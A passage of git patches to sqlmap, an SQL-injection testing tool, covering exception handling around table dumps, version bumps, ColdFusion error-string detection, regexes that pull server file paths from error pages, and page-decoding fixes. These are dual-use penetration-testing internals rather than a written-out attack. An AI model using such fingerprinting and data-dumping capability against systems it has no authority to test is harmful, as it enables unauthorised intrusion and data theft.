SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.getCount: - conf.dumper.dbTablesCount(conf.dbmsHandler.getCount()) + try: + conf.dumper.dbTablesCount(conf.dbmsHandler.getCount()) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.commonColumns: - conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS)) + try: + conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS)) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.dumpTable: - conf.dbmsHandler.dumpTable() + try: + conf.dbmsHandler.dumpTable() + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.dumpAll: - conf.dbmsHandler.dumpAll() + try: + conf.dbmsHandler.dumpAll() + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.search: - conf.dbmsHandler.search() + try: + conf.dbmsHandler.search() + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.query: conf.dumper.query(conf.query, conf.dbmsHandler.sqlQuery(conf.query)) diff --git a/lib/core/settings.py b/lib/core/settings.py index 701866ff3c6..ea6d23e805a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.23" +VERSION = "1.3.2.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index d58ddc1fc7a..ace8c6edacd 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -23,7 +23,7 @@ fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py 4f82e97b09cc530cb9a92472d0835cea extra/sqlharvest/sqlharvest.py fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py aec73042403993076f478da48066a79e extra/wafdetectify/wafdetectify.py -ec782b9cdb8d857a80b6ecf0f32db7f4 lib/controller/action.py +e6909a3b32fc09c0373101eb58c76538 lib/controller/action.py d392dbccdb59ac36530c1182675a2609 lib/controller/checks.py 8581acf56b8fb0def50af3707490a834 lib/controller/controller.py c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -3e31c14f05909fc1d676aee8d8a99c57 lib/core/settings.py +c06bcf769e4c88a1c9be96507b5ef320 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py From 514ab3cc30ddb4a9813eb29bc49b12d0e6097648 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 21 Feb 2019 01:37:58 +0100 Subject: [PATCH 114/800] Trivial update --- lib/core/settings.py | 4 ++-- txt/checksum.md5 | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ea6d23e805a..517cc3732d7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.24" +VERSION = "1.3.2.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -690,7 +690,7 @@ MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors -FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException") +FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException") # Regular expression used for extracting ASP.NET view state values VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)' diff --git a/txt/checksum.md5 b/txt/checksum.md5 index ace8c6edacd..d7de7ca15a1 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -c06bcf769e4c88a1c9be96507b5ef320 lib/core/settings.py +72ed4677dd2e784487d5c7309d8566cd lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py From daeb281e91ed496646cf14af936959183df066b3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 21 Feb 2019 02:05:00 +0100 Subject: [PATCH 115/800] Minor update --- lib/core/settings.py | 4 ++-- txt/checksum.md5 | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 517cc3732d7..1a36a0c275e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.25" +VERSION = "1.3.2.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -690,7 +690,7 @@ MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors -FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException") +FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException") # Regular expression used for extracting ASP.NET view state values VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)' diff --git a/txt/checksum.md5 b/txt/checksum.md5 index d7de7ca15a1..d9a885df352 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -72ed4677dd2e784487d5c7309d8566cd lib/core/settings.py +bb7fceee8b646ac156273ecdc2d1d783 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py From 1248fe5eeeed67bd96eaee37edd4f190e4ce5587 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 21 Feb 2019 02:50:11 +0100 Subject: [PATCH 116/800] Bug fix (CFM tends to HTML encode non-alphanumeric chars in error reports - paths weren't recognized) --- lib/core/settings.py | 4 +-- lib/request/basic.py | 71 +++++++++++++++++++++----------------------- txt/checksum.md5 | 4 +-- 3 files changed, 38 insertions(+), 41 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1a36a0c275e..112e36cffb1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.26" +VERSION = "1.3.2.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -330,7 +330,7 @@ SESSION_SQLITE_FILE = "session.sqlite" # Regular expressions used for finding file paths in error messages -FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)") +FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"\bin (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P<result>/[^'\"]+)", r"\bin <b>(?P<result>[^<]+): line \d+") # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( diff --git a/lib/request/basic.py b/lib/request/basic.py index 40fdd57d051..884f4cdf2ff 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -313,43 +313,40 @@ def decodePage(page, contentEncoding, contentType): # can't do for all responses because we need to support binary files too if not isinstance(page, unicode) and "text/" in contentType: - if kb.heuristicMode: - kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) - page = getUnicode(page, kb.pageEncoding) - else: - # e.g. Ãëàâà - if "&#" in page: - page = re.sub(r"&#(\d{1,3});", lambda _: chr(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page) - - # e.g. %20%28%29 - if "%" in page: - page = re.sub(r"%([0-9a-fA-F]{2})", lambda _: _.group(1).decode("hex"), page) - - # e.g. & - page = re.sub(r"&([^;]+);", lambda _: chr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 256) < 256 else _.group(0), page) - - kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) - - if (kb.pageEncoding or "").lower() == "utf-8-sig": - kb.pageEncoding = "utf-8" - if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling) - page = page[3:] - - page = getUnicode(page, kb.pageEncoding) - - # e.g. ’…™ - if "&#" in page: - def _(match): - retVal = match.group(0) - try: - retVal = unichr(int(match.group(1))) - except (ValueError, OverflowError): - pass - return retVal - page = re.sub(r"&#(\d+);", _, page) - - # e.g. ζ - page = re.sub(r"&([^;]+);", lambda _: unichr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 0) > 255 else _.group(0), page) + # e.g. Ãëàâà + if "&#" in page: + page = re.sub(r"&#x([0-9a-f]{1,2});", lambda _: (_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)).decode("hex"), page) + page = re.sub(r"&#(\d{1,3});", lambda _: chr(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page) + + # e.g. %20%28%29 + if "%" in page: + page = re.sub(r"%([0-9a-fA-F]{2})", lambda _: _.group(1).decode("hex"), page) + + # e.g. & + page = re.sub(r"&([^;]+);", lambda _: chr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 256) < 256 else _.group(0), page) + + kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) + + if (kb.pageEncoding or "").lower() == "utf-8-sig": + kb.pageEncoding = "utf-8" + if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling) + page = page[3:] + + page = getUnicode(page, kb.pageEncoding) + + # e.g. ’…™ + if "&#" in page: + def _(match): + retVal = match.group(0) + try: + retVal = unichr(int(match.group(1))) + except (ValueError, OverflowError): + pass + return retVal + page = re.sub(r"&#(\d+);", _, page) + + # e.g. ζ + page = re.sub(r"&([^;]+);", lambda _: unichr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 0) > 255 else _.group(0), page) return page diff --git a/txt/checksum.md5 b/txt/checksum.md5 index d9a885df352..11575a60309 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -bb7fceee8b646ac156273ecdc2d1d783 lib/core/settings.py +1ab84830277bc8690adc2e2db916bb8f lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -70,7 +70,7 @@ fb6be55d21a70765e35549af2484f762 lib/parse/__init__.py adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py 993104046c7d97120613409ef7780c76 lib/parse/sitemap.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py -97b7577fdfe3d8537fe9ea3a070d0507 lib/request/basic.py +b23163d485e0dbc038cbf1ba80be11da lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py 2fde12a95133b26699e26a5c56311c38 lib/request/connect.py 43005bd6a78e9cf0f3ed2283a1cb122e lib/request/direct.py From eb862d03eb59d760c095d5a8867d4efa2daabd83 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 25 Feb 2019 17:18:38 +0100 Subject: [PATCH 117/800] Fixes #3496 --- lib/core/settings.py | 2 +- sqlmap.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 112e36cffb1..026bc2ab08f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.27" +VERSION = "1.3.2.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index ce56b852719..bf49f9fa5d3 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -228,7 +228,7 @@ def main(): logger.critical(errMsg) raise SystemExit - elif "MemoryError" in excMsg: + elif any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")): errMsg = "memory exhaustion detected" logger.critical(errMsg) raise SystemExit diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 11575a60309..9ef9141e1a0 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -1ab84830277bc8690adc2e2db916bb8f lib/core/settings.py +17915750bdbf0710c2a160bbdfc8680c lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -236,7 +236,7 @@ ec2ba8c757ac96425dcd2b97970edd3a shell/stagers/stager.asp_ 0c48ddb1feb7e38a951ef05a0d48e032 shell/stagers/stager.jsp_ 2f9e459a4cf6a58680978cdce5ff7971 shell/stagers/stager.php_ 41522f8ad02ac133ca0aeaab374c36a8 sqlmapapi.py -76998d373c6aef8d36d617a9b21d6eaf sqlmap.py +9693388e705f68e0e307dc225c64ae42 sqlmap.py 772fb3dd15edc9d4055ab9f9dee0c203 tamper/0x2char.py 3d89a5c4c33d4d1d9303f5e3bd11f0ae tamper/apostrophemask.py 1fd0eec63970728c1e6628b2e4c21d81 tamper/apostrophenullencode.py From 581e4103c0b4a1dad7f8aa203633a234a8c6255c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 25 Feb 2019 17:19:42 +0100 Subject: [PATCH 118/800] Minor patch --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index c65d0441804..969f483cf54 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4781,7 +4781,7 @@ def getSafeExString(ex, encoding=None): Safe way how to get the proper exception represtation as a string (Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161')) - >>> getSafeExString(Exception('foobar')) + >>> getSafeExString(SqlmapBaseException('foobar')) u'foobar' """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 026bc2ab08f..bea5db24e50 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.28" +VERSION = "1.3.2.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 9ef9141e1a0..6c32d0dadad 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -0d12ca1436b330d986221388d054730b lib/core/common.py +4155b780398de5971f1b7b23b08f80d3 lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py 00828c4455321b6987e3f882f4ef4f92 lib/core/datatype.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -17915750bdbf0710c2a160bbdfc8680c lib/core/settings.py +220181b1620ebf1e4d04568af65e3f7e lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py From 034bac2a115bf374f6fab0adabadcdb11c0218ad Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 26 Feb 2019 01:36:56 +0100 Subject: [PATCH 119/800] Fixes #3498 --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index bea5db24e50..fd9d6d63be8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.29" +VERSION = "1.3.2.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index de9dbff848f..712ff032a4c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -648,7 +648,7 @@ class _(dict): debugMsg = "got HTTP error code: %d (%s)" % (code, status) logger.debug(debugMsg) - except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError): + except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError): tbMsg = traceback.format_exc() if checking: diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 6c32d0dadad..64b6367ec09 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -220181b1620ebf1e4d04568af65e3f7e lib/core/settings.py +d0ff46889db31d5541d307f25e308fc9 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -72,7 +72,7 @@ adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py b23163d485e0dbc038cbf1ba80be11da lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -2fde12a95133b26699e26a5c56311c38 lib/request/connect.py +493bc4d43b56abec083100d52a1fffe0 lib/request/connect.py 43005bd6a78e9cf0f3ed2283a1cb122e lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py From 58acc4a0bc262862dafc692ae30e5fb12e3dd74b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 28 Feb 2019 01:05:23 +0100 Subject: [PATCH 120/800] Fixes #3503 --- lib/core/settings.py | 2 +- lib/request/inject.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index fd9d6d63be8..4554ee42050 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.30" +VERSION = "1.3.2.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/inject.py b/lib/request/inject.py index b02fa41973f..f5fcde3c635 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -346,7 +346,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser affected parameter. """ - if conf.hexConvert: + if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms(): if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"): warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 64b6367ec09..33ea99f8a72 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -d0ff46889db31d5541d307f25e308fc9 lib/core/settings.py +c84b0e1b41b6bb971d554a21838a4551 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -77,7 +77,7 @@ fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py fb6be55d21a70765e35549af2484f762 lib/request/__init__.py -2fa26f93a7bf6261bbc4d94b14df5a4e lib/request/inject.py +f7d80b664678766a4e17486432847fed lib/request/inject.py 52a067bd2fe91ea9395269a684380cbb lib/request/methodrequest.py ac482ec52227daf48f523827dd67078f lib/request/pkihandler.py 16ff6e078819fe517b1fc0ae3cbc1aa8 lib/request/rangehandler.py From 9ba4da8820a5b6f7bd96126659833fe555b55030 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 28 Feb 2019 02:23:14 +0100 Subject: [PATCH 121/800] Implements #3500 --- lib/core/common.py | 6 ++++++ lib/core/settings.py | 5 ++++- txt/checksum.md5 | 4 ++-- 3 files changed, 12 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 969f483cf54..11913f01367 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -147,6 +147,7 @@ from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import PUSH_VALUE_EXCEPTION_RETRY_COUNT from lib.core.settings import PYVERSION +from lib.core.settings import RANDOMIZATION_TLDS from lib.core.settings import REFERER_ALIASES from lib.core.settings import REFLECTED_BORDER_REGEX from lib.core.settings import REFLECTED_MAX_REGEX_PARTS @@ -3941,6 +3942,11 @@ def randomizeParameterValue(value): retVal = retVal.replace(original, candidate) + if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value): + parts = retVal.split('.') + parts[-1] = random.sample(RANDOMIZATION_TLDS, 1)[0] + retVal = '.'.join(parts) + return retVal @cachedmethod diff --git a/lib/core/settings.py b/lib/core/settings.py index 4554ee42050..177298c794d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.31" +VERSION = "1.3.2.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -680,6 +680,9 @@ # 